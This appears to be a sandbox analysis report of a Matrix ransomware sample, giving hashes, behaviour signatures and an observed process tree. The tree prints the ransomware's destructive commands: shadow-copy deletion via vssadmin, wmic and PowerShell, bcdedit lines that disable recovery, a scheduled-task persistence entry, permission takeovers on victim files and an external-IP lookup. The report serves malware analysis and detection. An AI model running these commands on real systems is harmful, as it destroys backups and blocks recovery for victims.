Overview

overview

10

Static

static

bdd9dbc6d7...d2.exe

windows7_x64

10

bdd9dbc6d7...d2.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    08-10-2020 15:06

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe

  • Size

    1.1MB

  • MD5

    837d96ee65e177210ad77e0b7a3e2ee1

  • SHA1

    9f96a1acbcf006bf9cc61119dc76ca47adf63066

  • SHA256

    bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2

  • SHA512

    3369cccd102ef223a3d3bcb8b7cd11bc409cdb63bbbce33c8bbd05e6b52bc32b2a9c3ff29202e8107da6eab04e61fab0a7645631821d37bc3120dfe86bc26a62

Score
10/10
ransomwareevasionupxpersistencematrixdiscovery

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 495 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blacklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies extensions of user files 2 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Modifies service 2 TTPs 11 IoCs
    persistence
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 7637 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 5 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of WriteProcessMemory 108 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
    "C:\Users\Admin\AppData\Local\Temp\bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe"
    1⤵
    • Matrix Ransomware
    • Modifies extensions of user files
    • Loads dropped DLL
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1108
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe" "C:\Users\Admin\AppData\Local\Temp\NWt29TaW.exe"
      2⤵
        PID:1492
      • C:\Users\Admin\AppData\Local\Temp\NWt29TaW.exe
        "C:\Users\Admin\AppData\Local\Temp\NWt29TaW.exe" -n
        2⤵
        • Executes dropped EXE
        PID:1812
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\u0rUqag5.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:672
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blacklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:656
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\HMC7e7et.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1532
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\HMC7e7et.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          • Modifies Control Panel
          PID:1696
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
          • Modifies Control Panel
          PID:1572
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
          3⤵
          • Modifies Control Panel
          PID:808
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\Y4WPsKrv.vbs"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1956
        • C:\Windows\SysWOW64\wscript.exe
          wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\Y4WPsKrv.vbs"
          3⤵
            PID:108
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\okwFHopK.bat" /sc minute /mo 5 /RL HIGHEST /F
              4⤵
                PID:1752
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\okwFHopK.bat" /sc minute /mo 5 /RL HIGHEST /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:1320
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                4⤵
                  PID:1360
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /Run /I /tn DSHCA
                    5⤵
                      PID:1888
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ""C:\Users\Admin\AppData\Local\Temp\Bhhh00dX.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf""
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:924
                • C:\Windows\SysWOW64\attrib.exe
                  attrib -R -A -S "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"
                  3⤵
                  • Views/modifies file attributes
                  PID:1364
                • C:\Windows\SysWOW64\cacls.exe
                  cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf" /E /G Admin:F /C
                  3⤵
                    PID:1468
                  • C:\Windows\SysWOW64\takeown.exe
                    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"
                    3⤵
                    • Modifies file permissions
                    PID:1708
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c ZG413Grv.exe -accepteula "AdobeID.pdf" -nobanner
                    3⤵
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:1824
                    • C:\Users\Admin\AppData\Local\Temp\ZG413Grv.exe
                      ZG413Grv.exe -accepteula "AdobeID.pdf" -nobanner
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:1820
                      • C:\Users\Admin\AppData\Local\Temp\ZG413Grv64.exe
                        ZG413Grv.exe -accepteula "AdobeID.pdf" -nobanner
                        5⤵
                        • Drops file in Drivers directory
                        • Executes dropped EXE
                        • Enumerates connected drives
                        • Modifies service
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious behavior: LoadsDriver
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1792
              • C:\Windows\system32\taskeng.exe
                taskeng.exe {8F50FA56-A5DD-4327-825B-4CB6264842BB} S-1-5-21-1131729243-447456001-3632642222-1000:AVGLFESB\Admin:Interactive:[1]
                1⤵
                  PID:1996
                  • C:\Windows\SYSTEM32\cmd.exe
                    C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\okwFHopK.bat"
                    2⤵
                      PID:568
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin Delete Shadows /All /Quiet
                        3⤵
                        • Interacts with shadow copies
                        PID:388
                      • C:\Windows\System32\Wbem\WMIC.exe
                        wmic SHADOWCOPY DELETE
                        3⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1888
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}
                        3⤵
                        • Drops file in System32 directory
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1472
                        • C:\Windows\system32\vssadmin.exe
                          "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
                          4⤵
                          • Interacts with shadow copies
                          PID:1204
                      • C:\Windows\system32\bcdedit.exe
                        bcdedit /set {default} recoveryenabled No
                        3⤵
                        • Modifies boot configuration data using bcdedit
                        PID:1844
                      • C:\Windows\system32\bcdedit.exe
                        bcdedit /set {default} bootstatuspolicy ignoreallfailures
                        3⤵
                        • Modifies boot configuration data using bcdedit
                        PID:2024
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN DSHCA /F
                        3⤵
                          PID:572
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                      • Modifies service
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1220

                    Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • memory/108-54-0x0000000002820000-0x0000000002824000-memory.dmp

                      Filesize

                      16KB

                      Download

                    • memory/656-29-0x00000000062D0000-0x00000000062D1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/656-15-0x0000000005660000-0x0000000005661000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/656-28-0x00000000062B0000-0x00000000062B1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/656-20-0x00000000060B0000-0x00000000060B1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/656-21-0x0000000006130000-0x0000000006131000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/656-12-0x00000000027B0000-0x00000000027B1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/656-11-0x0000000000DB0000-0x0000000000DB1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/656-8-0x0000000074390000-0x0000000074A7E000-memory.dmp

                      Filesize

                      6.9MB

                      Download

                    • memory/656-9-0x00000000009C0000-0x00000000009C1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/656-10-0x00000000049C0000-0x00000000049C1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/1472-63-0x000000001AA30000-0x000000001AA31000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/1472-78-0x000000001B430000-0x000000001B431000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/1472-99-0x000000001B700000-0x000000001B701000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/1472-61-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

                      Filesize

                      9.9MB

                      Download

                    • memory/1472-62-0x0000000002580000-0x0000000002581000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/1472-92-0x000000001B4E0000-0x000000001B4E1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/1472-64-0x000000001A750000-0x000000001A751000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/1472-65-0x000000001A780000-0x000000001A781000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/1472-85-0x000000001B420000-0x000000001B421000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/1472-69-0x000000001B3C0000-0x000000001B3C1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/1472-74-0x000000001A7A0000-0x000000001A7A1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/1472-75-0x000000001A9A0000-0x000000001A9A1000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/1472-76-0x000000001B400000-0x000000001B401000-memory.dmp

                      Filesize

                      4KB

                      Download

                    • memory/1472-77-0x000000001B420000-0x000000001B421000-memory.dmp

                      Filesize

                      4KB

                      Download